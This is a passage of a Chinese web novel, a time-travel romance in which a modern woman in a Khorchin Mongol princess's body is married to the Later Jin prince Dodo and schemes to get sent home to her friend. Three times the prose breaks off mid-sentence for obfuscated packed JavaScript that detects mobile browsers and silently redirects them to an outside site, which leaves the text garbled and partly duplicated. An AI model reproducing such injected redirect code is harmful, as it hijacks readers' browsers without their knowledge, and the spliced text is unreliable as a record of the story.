可这并没有什么用,屋外传来阵喧嚣,笑声阵阵鼎沸,是新郎正在闯门,这是一种类似于现代接亲的蒙古习俗,新郎要通过女方的考验,完成抢哈达一类的游戏。 新郎通过了考验,于微和童尘两人被强行分开,许多只手从四面八方伸来,将于微和童尘扯开,又将她往一个方向推去,一只有力的手攥住了她手臂,一看,正是多铎。 他穿着那件挂了于微一作的新衣服。新郎到后,按习俗,应该由女方嫂子换装,并接受女方父母赠送的马鞍。 一身长袍罩马褂,颜色鲜艳的腰带上,挂着银鞘小刀、象牙筷子与火镰。 乍一看,这件衣服和后金的服饰也没什么太大区别,两边隔得很近,文化交流不断,唯一直观能看出区别的,只有他腰间折搭着的两条五尺长、镶有万字符、折口向内的白色哈达,女真没有献哈达的习俗,这是蒙古的传统。 精致的白哈达尾部,挂着新娘亲手做的荷包。 这也是于微的一作。 手臂上的手忽然松了,下一瞬,多铎的手垂下,握住了于微的手,于微抿唇,有些尴尬。 为表尊重,也因为于微的确没有可以护送她出嫁的父兄,父亲莽古斯作古多年,大哥寨桑也英年早逝,继父索诺木的尸骨也凉透了,弟弟奇塔特还没有马背高,只能由多铎亲自来到科尔沁迎亲。 这是后金与嫩科尔沁两族联姻史上,破天荒的头一遭,由新郎亲自来女方家中迎娶,而非由女方父兄护送新娘到男方家中成婚,可见后金方面和新郎对这桩婚事、对新娘的看重。 毕竟是国君福晋的亲妹妹,不看僧面看佛面。 二人在庄重的乐曲声,与族人喜悦目光的注视下,拜火拜天拜祖先、长辈。 毡车缓慢前行,于微半边身子探出车窗,不舍的望着跟车而行的童尘,童尘跟着车,两人的手在颠簸中相握,又因为毡车的加速,而被迫分开。 两行热泪顺着于微的脸颊滚落,她真的哭了啊。 毡车走走停停,天明进发,天黑扎营,前行一段时间,还会停下来略作休息,楚越看着窗外逐渐陌生的景致,嫩科尔沁草原,早已不见在身后,她只觉得心情凝重,不像是结婚,像是去下葬。 黄昏时分,车队扎营,于微关上车窗,准备休息,谁料车门忽然从外被打开,紧接着,一道身影便挤了进来。还宽阔的毡车,因为多出的一个不速之客,陡然变得逼仄。 于微望着离自己不远的多铎,往角落缩了缩,“你进来做什么?” 多铎扫了一眼不断后退的少女,“外面冷。” 于微一时语塞。 她咬咬嘴唇,对多铎下了逐客令,“我们还没成婚呢,你出去。” 多铎回头,望着于微,“怕什么,你来不就是为了嫁给我吗?” 说着,他朝于微伸手,于微大惊,浑身颤了一下,本能后缩,多铎也愣了一下,手落到于微身侧的棉枕,肘下陡然一空,她用来凭靠的棉枕,被多铎夺走。 多铎将棉枕搁在身后,自顾自躺了下去,或许是毡车里太过舒适,于微听见他微微舒了口气。 这真是一点不拿自己当外人,怎么舒服怎么来。 于微坐在角落,进退两难。 多铎并没有睡觉,睁着眼睛仰望车顶。 两人独处一室,安静让气氛逐渐凝滞,过了一会儿,多铎忽然翻身坐起,吓得正出神的于微一激灵,立刻坐直了身子。 两人隔着一段距离,彼此打量。 在成婚之前,他们只见过寥寥数面,一只手就可以数清,好像也没说上过话。 “你不要害怕。”多铎安慰于微道,“我既然娶你做福晋,就一定会对你好。” “谢谢,但我不用你对我好,我自己能过好。” 于微拒绝了对方的好意。 漫长的送亲队伍,载着的可不是空气,是她的陪嫁,何况,盛京还有她贵为国君福晋的姐姐哲哲,和将来会宠冠六宫的侄女海兰珠,以及生下大清二代目顺治帝的侄女布木布泰。 她只想躺平,有这背景也足够躺平的她过得很好。 多铎显然被于微这句话噎住了,好半天没能接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941203|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下一句。 好半天,他才说出一句,“你们科尔沁的女人还真是剽悍,一点面子不给人。” 于微听他口气感慨,便知道他意有何指。在自己之前,他已经迎娶过一位科尔沁的福晋,按辈分,是于微的堂姐。 莽古斯有个弟弟叫明安,明安是最早和后金联姻的嫩科尔沁贵族,他的两个女儿,一个嫁给了努尔哈赤,一个嫁给了多铎。 没错。就是这样,父子分娶一对姐妹。 她拿了去后金跟姐姐抢姐夫的小姨子文学剧本。 衮布妣吉和于微说完堂姐的事,于微面容扭曲,这都是什么事啊,衮布妣吉安慰她道:“能和睦相处便和睦相处,处不了就算了,这没什么,有哲哲在,谁能越过你。” 多妻制下的大福晋,向来贵者居之,谁身后的部族强大、身份高贵,谁就能上位成功。国君福晋的妹妹,这个身份已经尊贵到头了。 于微这不仅是小姨子文学,还有小姨子踹走原配剧情。 大汗都立她的姐姐为大福晋,那大臣还能不尊重国君福晋的妹妹吗? 自己的戏份简直是妙不可言,妙的于微一时话都说不出来了。 她不说话,气氛再度凝滞下来,多铎短暂酝酿,又找了新的话题,“你父亲是个勇猛的巴图鲁。” 于微蹙眉,莽古斯?这小子能见过莽古斯? 莽古斯在于微很小的时候就作古了,大概是十多年前的事情,莽古斯死后不久,衮布妣吉便改嫁给索诺木。于微是被继父索诺木抚养长大,索诺木死得比较近,四年前亡故。 死在追随后金攻打大明首都北京的广渠门之战中,为袁都师的加官进爵,做了不小的贡献。 于微想了想,觉得多铎说的‘父亲’,应该是指的她的继父,“那不是我的父亲,是我的继父。” “你不是索诺木台吉的女儿?”多铎有些意外。 于微白眼都要翻上天了,看来他是真的居心不良,想娶国君福晋的妹妹,娶之前背调都没做好,她没好气道:“不是,我的父亲是莽古斯。” 原主自幼长在索诺木处,外人不了解的,便以为她是索诺木之女,这其实也没什么,收继婚的原则便是,娶其母,母所生之子也成他的孩子。 但是作为新郎,搞不清自己岳丈到底是哪位,就有点说不过去了吧。 他就是冲哲哲妹妹这个身份来的。 两族都有收继婚俗,岳母衮布妣吉改嫁一事,多铎也有所耳闻,故而他对于微的身世也没有感到意外,很快意识到问题出在何处。 多铎想了想,追问道:“那你的妹妹?” 提到童尘,于微的神色肉眼可见沮丧起来,“她是额吉改嫁后所生,还有两个弟弟祁塔特和桑噶尔寨也是。” “我有十四个哥哥,八个姐姐,和一个弟弟。” 这个数字一出来,于微不由感慨,好庞大的家族,还是多妻制,那自己可能有少说十五个,多说起来不敢想的妯娌。 还有八个姐姐... “哥哥虽然多,但同母的只有两个,八贝勒阿济格与九贝勒多尔衮,他们两个,也娶的是你们嫩科尔沁女子。” 多尔衮,这个名字,可太熟了,简直如雷贯耳。也不知传说中的太后下嫁,到底是真是假,于微一定要一探究竟。 “阿济格哥哥的福晋,是孔果尔之女,多尔衮哥哥娶的是明安的孙女,也就是我福晋的侄女,都是你们嫩科尔沁同族的姐妹。” 于微抬手,“好了别说了。” 太复杂了,她脑子带不动了,要休息一下。 “我有点累了。” 对方单方面终止了聊天,并躺下去闭上了眼睛。多铎见她不太想理自己的样子,也只得躺了回去,闭眼休息,离后金的路还远呢。 5. 思念童尘 四月中,车队才到达盛京,几个贝勒奉大汗的命令,和福晋一起前来迎接新妇,多铎向于微一一介绍,于微左耳朵进右耳朵出,但在介绍到最后一个年轻人时,她眼前陡然一亮。 “这是九贝勒多尔衮。” 瓜主本尊,就在这里了。 不同于多铎五官深邃,多尔衮的长相偏清秀,人也比较单薄,身材瘦长,皮肤微黑难掩面貌英俊,一双眼睛,目光锐利如鹰隼。 长得有点水平。于微想。 多尔衮身边的年轻女子上前,热情抱住了她,张口便是,“达哲姑姑。” 莽古斯有两个弟弟,长为明安,幼为孔果尔,女真和蒙古都盛行早婚,多尔衮十二岁时,迎娶了明安的孙女为福晋。 眼前人便是明安的孙女,她的侄女兼嫂子。 于微强颜欢笑,“你好。” 婚礼中有“插车礼”一项,按习俗,应该由女方的父兄,将新娘抱下马车,换到男方的马车,送亲和迎亲的队伍合二为一。 父兄....这两个于微都没有。 只能由多铎自己动手,于微还未反应过来,双脚便离地而起,她‘i’了一声,双手扑腾,紧抓住了多铎的肩膀。 “你怎么不说一声。” 多铎看着她,“你也没说话啊。” 车队驶入盛京,在一座富丽的宅子前停下,这应该不是多铎的府邸,于微想,她不敢说对满文十分的了解,但是门上那一串绝对不是多铎title的写法,拿蒙文大概翻一下,就是聪明的、勇敢的贝勒的家。 她到底是来嫁给谁的? 还是说多铎不止一个title? 多尔衮的福晋看出于微困惑,向她解释道:“达哲姑姑有所不知,他们女真以为天亮前接回新娘是不吉利的,所以姑姑先在我家安顿,等明天再举行婚礼。” 于微恍然大悟,原来这个聪明的、勇敢的贝勒,是多尔衮。 那多尔衮的全称就是智勇双全贝勒?简称九贝勒。 “十贝勒的府邸就在那儿。”多尔衮福晋一努嘴,于微回头望去,隔着一条宽街,熟悉的文字映入眼帘,雄壮的、色彩斑斓的贝勒。 两兄弟原来住对门。 好直观的对比,一个智勇双全,一个.... 于微跟着多尔衮福晋入内,住处早就准备下,四下无人,多尔衮福晋拉了于微的手,亲切道:“以后可好了,咱们这些姐妹都在一处了。” “还是姑姑命好,额格其是大福晋,嫁的贝勒也是一等一的贝勒。” 姐妹们凑在一起,对比是必不可少的,于微就听多尔衮福晋叹啊。 “额尔克楚虎尔贝勒可是先汗的爱子,大汗对他也极尽宠溺,你听听他的封号,额尔克。那可是尊贵的意思。” 听多尔衮福晋这么一翻,于微眯眼,“他们的封号都是蒙语?” “是啊。这封号封得早,那时候新满文还没出来呢。” 满文是仿照蒙文创造的一种字体,分为新旧两种,旧的是努尔哈赤时代使用的无圈点满文,不能说和蒙文一模一样,但也大差不差。那时候满文还不太成熟,且后金崇尚蒙古文化,正式场合还是会使用蒙古文。 新满文是皇太极继位之后,天聪六年改进的带圈点的满文,这一时间段,满文才成熟,和蒙文有一定区别,并开始大规模应用于官方正式场合。 多尔衮多铎兄弟俩的称号都是天聪二年的产物。 翻译了一圈,白翻了,这就是蒙文。 那就很直接了,尊贵的、穿的好看的贝勒。 简称十贝勒。 约莫凌晨时分,于微就被人从床上拽了起来,开始改装,脱下蒙古服饰,换上后金准备的衣物。入关之前,女真女子的发饰简单利落,结发成辫,再将辫子在头顶略略一堆,一个盘发辫就好了。 三支箭咚咚钉在车门,吓得于微心乱跳。 昨晚多尔衮福晋拉着她说了半晚上悄悄话,就提到先前多铎和多尔衮去打猎,射一只袍子不中,把箭射到了多尔衮腿上。 射到多尔衮的腿上事小,射到她可是大事! 入府门,先跨火盆,再过马鞍,然后坐帐,多铎和于微脱了鞋,在炕上坐下,一直坐到天亮,仪式才继续进行。于微困得头点地,晚上跟人聊了一晚上,好不容易睡了一会儿,又要起来参加婚礼。 加上全身都暖烘烘的,东北这嘎达取暖的火炕实在是舒服,这么舒适的环境,就应该窜一会儿瞌睡,才对得起它。 拜天地祖先,两盏金杯倒酒,于微和多铎各拿一杯,轻喝一口,而后交换。换完杯子,于微捏着手里的杯子,一瞬迟疑。 不嫌弃是假的。 她硬着头皮将剩下半杯酒喝了。 喝完交杯酒,道贺与恭维声络绎不绝,“恭喜啊,十贝勒。” 而后人群一拥而上,将于微和多铎围了起来。 子孙饽饽这种东西,简直可以归属进婚闹之中了。 半生不熟的东西,于微硬着头皮吃了一个,剩下八个全留给了多铎,多铎不可置信的看了她一眼,于微眨了眨眼睛,多铎只得将剩下的饽饽全吃了。 夫妻共吃一碗,有人岁月静好,那就说明有人在负重前行,没错这个人就是于微,她可太爱自己的丈夫了,舍不得吃的东西都给他吃。 她还是人太好了。 吃完后,就有几个小孩子高声连问,“生不生”。 “生。” 这饽饽可太生了。 “生。”多铎也道。 这玩意儿生得根本吃不下。 基础流程走完,就进入招待宾客这一重大环节。 开席。 才出虎穴,又进狼窝,于微一边敬酒,心中一边想,能不能也顺带取缔一下酒桌文化。 两人一桌桌敬酒,按接亲、送亲、辈分、男女,一一敬了过去,先敬女方送亲队伍,再敬男方亲属。 女真男女不同席,所以是分开招待,女真的男人能喝,女人也不逊色。这时候,皇太极指定的贝勒□□上了大用场—— 挡酒。 原来这是伴郎团。 福晋们则帮助于微,这算是伴娘团? 转了一圈,于微脚下开始踉跄,眼神逐渐迷离,喝不下了,真的喝不下了。多尔衮的福晋将她扶回新房,一进屋,于微一头扎进被褥之中,眼睛一闭,就进入关机模式。 朦胧间,怀中挤进个什么东西,起初还好,但渐渐地,温度有些热了,她呼出一口浊气,想要推开怀中发热的东西,但推了几下,推不开,她有些生气了,‘啪’的打了那东西一下。 骨头很硬,于微手掌生疼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941204|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 脑袋一阵天旋地转,于微被人推醒,费力睁开眼睛,发现是多铎,他强硬将她拉了起来,“你打我干什么?” 啊? 于微神志尚未恢复,眼神迷离,强烈的困倦感,冲击理智,大脑一阵发木,她看着满面不忿的多铎,木讷的眨了眨眼睛,“哦,那对不起,我不是故意的。” 说完,她又一头扎进梦乡。 等她一觉睡醒,外间天已经大亮,身边空无一人,也不知是没人还是人走了,于微揉了揉眼睛,打量起屋中情况。屋子不大,陈设都很新。 临窗摆着红木高桌,陈设着铜镜等物件,炕上炕席、炕桌、炕屏齐全,外间放着桌凳柜椅、脚踏等家具,一应物件都不少。 婚礼次日,新娘要拜见男方亲属。 两人先入宫,拜见大汗与国君福晋,入宫之后,于微得知一个好消息,哲哲怀孕了,这对科尔沁而言是个天大的喜讯,所有人都希望她能够生下一个男孩。 唯独于微望着哲哲蜡黄的脸颊,神情有些复杂。 哲哲比她大十几岁,现在已经不年轻了,三十五岁,这个在现代都被称作高龄产妇的年龄段,她还在冒险生孩子。虽然这时代的确没有什么好避孕手段,堕胎风险太大,怀了就一定生。 可是周围的环境,给哲哲造成的心理压力太大。 哲哲一手拉着达哲,一手拉着布木布泰,“我们达哲也嫁到后金来了,姐妹终于团聚了,以后就好了,我们姐妹在后金作伴,有什么事,都和额格其说。有你们在,我心里也更安心。” 听到‘姐妹团聚’这四个字,于微的心情霎时又低落下去。 童尘啊。她的尘。 布木布泰注意到于微的神情变化,安慰道:“可是想家了?后金也很好,以后这也会是你的家。” 于微心如刀绞。 尘,她的尘.... 皇太极也很欢迎于微这个妻妹加入他们后金大家族,热情的设宴款待,还赏赐给她女朝服、金杯等物品,代表他对于微身份的认可。 自从想起童尘,于微的心情就持续低沉,以热情饱满的态度,参加完皇太极的招待宴,耗尽了她最后的耐心,和好朋友分开的难过,席卷身心。 接下来的认亲,更加剧了她这种心情,独自来到一个陌生的环境,见到一堆陌生的人,不安与惶恐,让分别的难过更上层楼。越往后见,她的情绪越差,快要到崩溃的边缘。 多铎见她脸色不好,询问道:“你怎么了,是太累了吗?不然明天再去?” “还是一天见完吧。” 不喜欢做的事情,最好一天做完,否则第二天她可能就更不想做了。 最后一个是费扬果,于微终于见到了一个熟人,心上重压减轻些许,脸色也好转。费扬果也看出于微是对后金复杂的人际关系水土不服,他刚穿来时,面对这复杂的一大家人,也头痛不已。 找了个机会,悄悄凑近于微,低声对她道:“我觉得咱们肯定是在现代抽象玩多了,所以被送到这边来挨抽。可是这边关系也太复杂了,求生活善待我们这种一旬老人。” 一旬老人。于微一个没忍住,笑了出来。 多铎一回头,便看见费扬果正若无其事从于微身边走开,而于微一路上沉得要滴水的脸,此刻笑逐颜开。 嗯? 6. 部落冲突 多铎看于微的眼神有些认真了,或许是方才那一瞬,让他想起之前自己被兄弟们戏弄嘲笑的事情,自诩不凡高人一头的嫡子、和硕贝勒,怎么甘心被一个寂寂无名的庶出兄弟比下去。 “你要倒霉了。”觉察多铎的眼神不善,费扬果往后缩了缩,“他打小就是受宠的儿子和弟弟,所以人很霸道,你最好别得罪你的霸道总裁,小心他掐你脖子。” 于微白了费扬果一眼,“霸总个头,我能怕他?他受宠,那我也不是家里不受宠的庶女,送来讨好他的。他是后金的和硕贝勒,我还是蒙古的别吉呢。” 科尔沁是成吉思汗的之弟合撒儿的后裔,黄金家族的成员。 费扬果很认真看了于微一眼,“姐姐,你这么彪的吗?” 于微若有所思,“你说,我跟他吵一架、打一架的话,大汗会不会把我送回去?” 这个主意虽然很馊,但也不失为一个好办法,孔夫子、朱夫子的风还没吹到后金,男女过不下去离婚就是,男方把女方送回家,婚事作罢。 顺治帝的废后不就回草原再嫁了,作为她的姑奶奶,她遇到的限制,可比废后少点,毕竟她那个时候,大清已经入主中原。 小打小闹肯定不行,只会被人当做夫妻间的情趣,不会被当做感情破裂或者两人不和。 大吵大闹?怎么才能大吵大闹呢?于微眼珠一转,余光瞥向费扬果。 自己给自己捏绯闻,除了她也是没谁了。 她不能和童尘分开,要回到她的身边。 天大地大,姐妹最大。 没有姐妹,这个傻逼世界不如爆炸。 费扬果也猜出于微想做点什么,默默往后退了一步,拉开和于微的距离,眼带惊恐,“你是受宠的别吉,我可只是个小小庶子。你别坑我。” “瞧你那点胆子,不然你跟着我去蒙古吧。” 费扬果短暂思索,还是拒绝道:“算了吧。” 说找茬,于微就怎么看多铎都不顺眼,好好一个青年,穿的花里胡哨,板寸剃得跟刚出来一样。 渔猎和游牧民族多是剃发,女真的辫子,早期被记载为金钱鼠尾,指大范围光头,脑后细细一条,可以穿过铜钱的孔。 这跟东北的气候,以及民族生活习惯息息相关。 但光头保持的成本是很高的,三天不修理,就冒出一片硬茬,半个月不管,就是板寸,再往后,只会更长,所以绝大部分时间,上到大汗皇太极,下到小民,都是带着点鬓角的。 多铎的头发刚修理过不久,应该是为了结婚剃的,于微更觉得这头发不顺眼了,结婚剃头,出家还是结婚?一点都不重视。 她一定要把这门婚事搅黄了,然后开开心心回科尔沁去。 正盘算着,多铎走上前来,上下打量了于微一眼,又瞥向费扬果,“你倒是很会讨你嫂子欢心。” 他话里语气平淡,听不出是阴阳怪气,还是在陈述事实。 但下一秒,于微就分清了,“你要是把功夫花在骑射上的话,就能阿巴泰哥哥一样,而不是受人鄙夷了。” “怎么说话呢。”于微反驳道,“人各有所长,说话能让人如沐春风,也是一种能力。” 现代不是常说,情商高也很重要嘛。 多铎瞥了于微一眼,面色已然不悦,转过头就走了,于微也翻了个白眼。 却听费扬果苦笑声道:“你知道他在说什么吗?阿巴泰,是侧妃的儿子,也是庶子,但因为和皇太极关系比较近,继承了几个牛录。他本人也十分骁勇善战,浴血奋战,这才获得了贝勒的位置。” “可是他,他七岁,就是贝勒了,努尔哈赤给了他十五个牛录,努尔哈赤死了,遗留下的二十个,阿济格跟多尔衮想三兄弟平分,皇太极却都给他了。” “你听明白了吗?” 于微愕然,原来多铎口气平淡,不是因为他有涵养,而是因为费扬果在他眼中,是个讥讽都懒得讥讽的人,蝼蚁一生努力,所能到达的终点,还不如他的起点,他不会将他放在心中,何谈讥讽? “这是什么天龙人。”于微骂道。 “你走不走?”多铎走出去数步,没见于微跟上来,回头一看,于微还在跟费扬果聊天,他不由怒上心头,对她喊道。 于微眯起眼睛,仔细打量了他一眼,然后气沉丹田,字正腔圆的喊出那句,“我不走!” 费扬果的脸都白了。 多铎破防了,他‘嘶’的吸了口气,几个大步就走到了于微面前,抓住她的胳膊,就要将她往回带。于微自然不肯,但奈何这具身体人小,力气比不过一个成年男子,她没办法,只能身体往下,试图坠住多铎的脚步。 这似乎正中他下怀。 多铎腰一弯,便将于微扛上了肩。 倒栽葱的姿势并不好受,于微要吐了,“你把我放下来。” 多铎将她塞进马车,自己也挤了进去,狭小的空间内只剩下两人,看着多铎脸上怒意,于微忽然有些害怕,万一这天龙小子有暴力倾向打她怎么办? 但再一想,那不就是家暴,妥离。 一路寂静,唯闻车辙声辚辚,多铎只是恼怒的盯着她,但一句话都没说,更没有动手,他盛气凌人的盯着于微,嘴唇紧抿,漆黑的瞳仁中,隐隐威压散发。 于微本就有些无事生非的心虚,被他一盯,更没什么底气。 她是个讲理的人,走到无理取闹的地步也是被逼无奈。 于微别过头,避开多铎的视线。 她只是想跟闺闺长相守,能有什么过错呢? 盛京不大,两人很快就到了,走完亲戚,还有府里的人要见。 堂姐开门,她来加入这个家了。 哈日娜比于微大得多,少说有十岁,她十五岁那年,被送到后金,嫁给了十二岁的多铎,努尔哈赤娶了她的姐姐,将她的侄女嫁给多尔衮,然后将她嫁给多铎。 女真有娶长媳的习俗,娶一个年长的儿媳妇,能照顾年幼的儿子。 这是真‘新娘’。 多铎明显对这位如姐的福晋很尊重,两人进府,一路彼此不看,两张脸,一张拉得比一张长,哈日娜脸上的笑容僵住了,她见于微头发有些蓬乱,衣服也皱了,张口就问多铎道: “你欺负她了?” 气势之足,不像是妻子在问丈夫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941205|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是大姐在问小弟,是不是欺负小妹了。 多铎一怔,脸上怒容更甚,猛地一拍桌案,“你们一个个都反了是吧。” 谁欺负谁啊?说清楚! 他干什么了? 哈日娜看了他一眼,口气略微和缓,“我是说,达哲年纪小,纵然犯了错,你也大人有大量,不要同她计较。她也是大嬷嬷的掌中珠,嫁给你不是来受委屈的。” 半晌,多铎才憋出一句,“你好好教她吧。” 说罢,他是一刻也不想留,起身就走了。 多铎走后,哈日娜为于微抚平衣服上的褶皱,又理了下头发,温声道:“后金不比家里,嫁了人,脾气还是要收敛点的,衮布妣吉与国君福晋自然都希望你们夫妻能和睦。” 于微低头,她只想见到童尘。 哈日娜和于微坐在一起,府里的人轮流上前叩头,后金的封建化还没有完成,八旗还残留着浓厚的奴隶制余味,作为正白旗旗主,多铎是正白旗范围内的王,部众、牛羊都是他私有的财产,当然这是理论上的。 皇太极是不可能接受这个理论的。 贝勒府也像是皇太极汗宫的mini版,旗官是旗主的奴才,他们的妻子,则成为旗主夫人的奴才,被称为随从妇人,女官和奴才两种身份实现对立统一。 叩头的人一批一批,按身份高低,哈日娜低声和她说着这些人的身份,“你以后就是大福晋,是这些人的主子。” 于微愣愣看向哈日娜,她眼里没有对地位降低的不满,全是对自己的信任和憧憬,希望自己能挑起这副担子。 “他以后肯定还要再娶女真的女人,咱们蒙古女人要团结在一起,把部众、牛羊都握在手里,不能让他们女真女人比下去了。” 于微神情有些复杂,这是.... 部落冲突?还是皇室战争? 见了一天的人,于微精疲力竭,洗漱之后,就躺上了床,就在她闭着眼睛思索万一多铎过来的应对方案时,门外蒙古侍女道:“贝勒爷,福晋已经睡下了。” 于微心中一惊,情急之下,也想不出什么好办法,只能闭着眼睛,装睡。 装睡的人,是叫不醒的。 不醒就没有下文。 身边忽然一沉,朦胧间,似乎有一道目光落到她脸上,于微觉得有些难受。 “起来。”多铎道,“别装了。” 他看出她在装睡了。 于微睁开眼睛,多铎态度发生了一百八十度的转变,坐在她床边,语重心长道: “你不要听别人说的话,大汗说亲的时候,我说自己不想娶你,的确是因为,传言中,你长得....不如人意。又黑又胖,没人愿意娶一个这样长相的福晋。” “你要真长这样,就是大福晋的妹妹我也不娶。” 于微蹙眉,眯着眼睛看了多铎一会儿,不清楚他到底想表达什么意思。 他不图自己身份,是个大白莲? 还是他其实是个贪图美色的,色狼? 谁让他说这番话的?除了哈日娜,应该不会有别人。 于微点了点头,“你坐着我枕头了,让开。” 7. 想办法回家中 安静,屋中死一样的寂静,因为离得近,于微甚至可以看清多铎咬牙时,微微翕动的腮肌。 他一定气的要死了。于微想。 这可太nice了,快吵起来!快让她回家! 多铎将门踹得回弹在门框上,咚咚作响,于微被这忽如其来的声响吓得浑身一颤,但转念一想,立刻叉腰做泼妇状,大声骂道:“你踹什么踹!”门外,多铎的脚步一滞,回头看了一眼屋中,愤然离去的脚步生风。 他一分一秒,都不想再见到这个新娶的福晋。 于微见门外没动静,大失所望,别走啊!跟她吵啊! 接连几日,多铎都拿她当空气,装没看到她。 三人坐在一起吃饭,多铎吃自己的,于微也吃自己的,两人默不作声,一个眼不见心不烦,一个在悄然酝酿大招。哈日娜给于微夹菜,看看她,又看看多铎,脸上一时浮现出... 忧愁。 没错,她真的发愁。 “我只生了个格格,现在又怀孕了,萨满说,多半也还是个格格,你要是能生个儿子就好了。” 饭后,哈日娜拉着于微的手,跟她吐露了自己的忧愁,“没儿子的话,我们就要被那些女真女人压一头了。” 于微反握住哈日娜的手,诚恳道:“堂姐别说这样的话,你还年轻,萨满的话不一定当真的。” 什么神棍,生男生女那是女方能决定的吗?生不出儿子,也是多铎自己的问题。 她不是来拆散这个家,也不是来加入这个家。 她要回自己的家--嫩科尔沁。 天神老爷,让她回去吧。 哈日娜怀孕,很多典礼就不便出席,先是新归附的汉将尚可喜前来拜见,皇太极设宴招待他之后,又命八家分别招待。皇太极对尚可喜很重视,除他本人与大贝勒代善之外,其余小贝勒与他相见,都是按齿序抱见。 招待,吃席。 还有婚席。 后金和嫩科尔沁的联姻还在继续,没过多久,布木布泰二哥察罕之子绰尔济也来到盛京迎娶新娘。 这婚事是和于微、奇塔特同期订下的,由博礼妣吉撮合,他的次子察罕早逝,绰尔济正单身,于是借着这次机会,促进两部落联姻,都是岳母,皇太极不好厚此薄彼,于是欣然应允。 绰尔济是顺治第二任皇后孝惠章皇后和淑慧妃的亲爹。 他娶的是阿巴泰的七格格。 阿巴泰是皇太极的七哥。 “你是说我七哥的外孙女,嫁给了我八哥的儿子?”费扬果大惊,一声国粹到底没忍住,出了口。 于微摸了摸头,“你别说,站在我这边,是....” 到底是表重侄孙女嫁给了表侄孙,还是表侄女嫁给了表兄弟?亦或者是跟费扬果这边一样? 两人对视,不由露出两张地铁老人脸。 但婚礼上,露出这种表情显然是不合适的,不过转瞬,他们就将震惊的表情收了起来。没事哒没事哒,玄烨只是孝惠章皇后的养子。 男女分席,多铎一扭头没见到费扬果,心中暗想不好,找了个理由出来四处搜寻,果不其然,无人之地,两人并坐在两块石头上,有一搭没一搭的聊着什么。 两人也发现了多铎,但不同于之前,两人起码还收敛神情,装作无事发生,现在,两人看着多铎方向,屁股都不带抬一下。 费扬果虽然害怕,但.... 于微给的太多了。 加了三次价格,金额已经达到了费扬果不敢想的数额,他虽然是努尔哈赤的儿子,但没分到一毛遗产,也没有军功,家产实在微薄、收入也低。 为了打动费扬果,于微也下了狠心。 于微就不信了,这还气不死多铎,多铎站在不远处,脸上红光满面,不知是身上鲜艳的衣服在日光下反射到脸上,还是被从天而降的一顶绿帽子气的红温。 应该是后者,于微发现他垂在两侧的手,已经紧蜷成拳,骨节发白。 费扬果的嘴角踌躇了下,自己这算是... 小三被正宫追上门来打? “挨打是另外的价格。”他立刻坐地起价道。 于微也有点紧张,“那你注意别让他打到我。” 多铎盯着已经挑衅到面前的两人,一时怒气上涌,但渐渐地,他紧握的手松开了,嘴角勾起一抹玩味的笑。 他要是生气了才是正中两人下怀吧。 费扬果今天的举动,实在是出奇,往日里唯唯诺诺的蠢货,今天敢有这么大的胆子?想也不用想,一定是他身边的少女出的主意。 这桩婚事是为了什么,多铎很清楚,当年的四大贝勒,现在只剩下已经成为大汗的皇太极和大贝勒代善,另外两大贝勒是怎么被除掉,大汗是怎么南面独坐的,过程他都一一目睹。 拉拢小贝勒,分化大贝勒的权力,皇太极将妻妹嫁给自己,无非是想在兄弟关系之外,再搭一重关系。毕竟三贝勒莽古尔泰虽然去年刚去世,但他的妹妹和弟弟德格类贝勒都还在。 莽古尔泰正蓝旗的属下也一直怀疑,莽古尔泰的忽然病亡,不是意外,是大汗皇太极毒死了他。所以,他需要极尽可能拉拢人心,完成对莽古尔泰余孽的清算。 她不想嫁给自己,但又反抗不了,索性用这种手段,有点脑子,但脑子不多。 多铎想看看,除此之外,她还有没有别的手段。 在两人期待又带着点恐惧的目光中,多铎扬长而去。 于微大跌眼镜,“怎么回事?” 费扬果也愕然,“不知道啊,不对吧。” 于微蹭的一下站了起来,“他是不是瞎!瞎就去治眼睛啊!” “这我也没办法了,他不按套路出牌。” “他这样我还怎么回去?”于微的心情跌落到了谷底,“我的尘,我已经跟她分开两个月了。” “这么想你姐妹,怎么不让你姐妹也嫁来后金呢。”费扬果问,“这样的话,你们就能天天在一起了。” “胡说!”于微没忍住骂了出来,“这破地方能有什么好男人?她过来了嫁给谁?哪个贝勒不是集她姑父、姐夫、侄女婿于一身?我急着回去,就是怕她病急乱投医。” 后金的男人还是早点算了吧。 “后金不是什么好地方吗?”费扬果不以为然,“这有什么要紧的,过两年入关进北京了,那可就不一样了,到时候就是原始股。” “我还是想回草原,跟她找两个赘婿,过女王一样的生活。” 费扬果笑了,“那你怕是不能得尝所愿了,这么富有又尊贵的别吉,就算回到草原,求婚的人恐怕要排到漠北。” 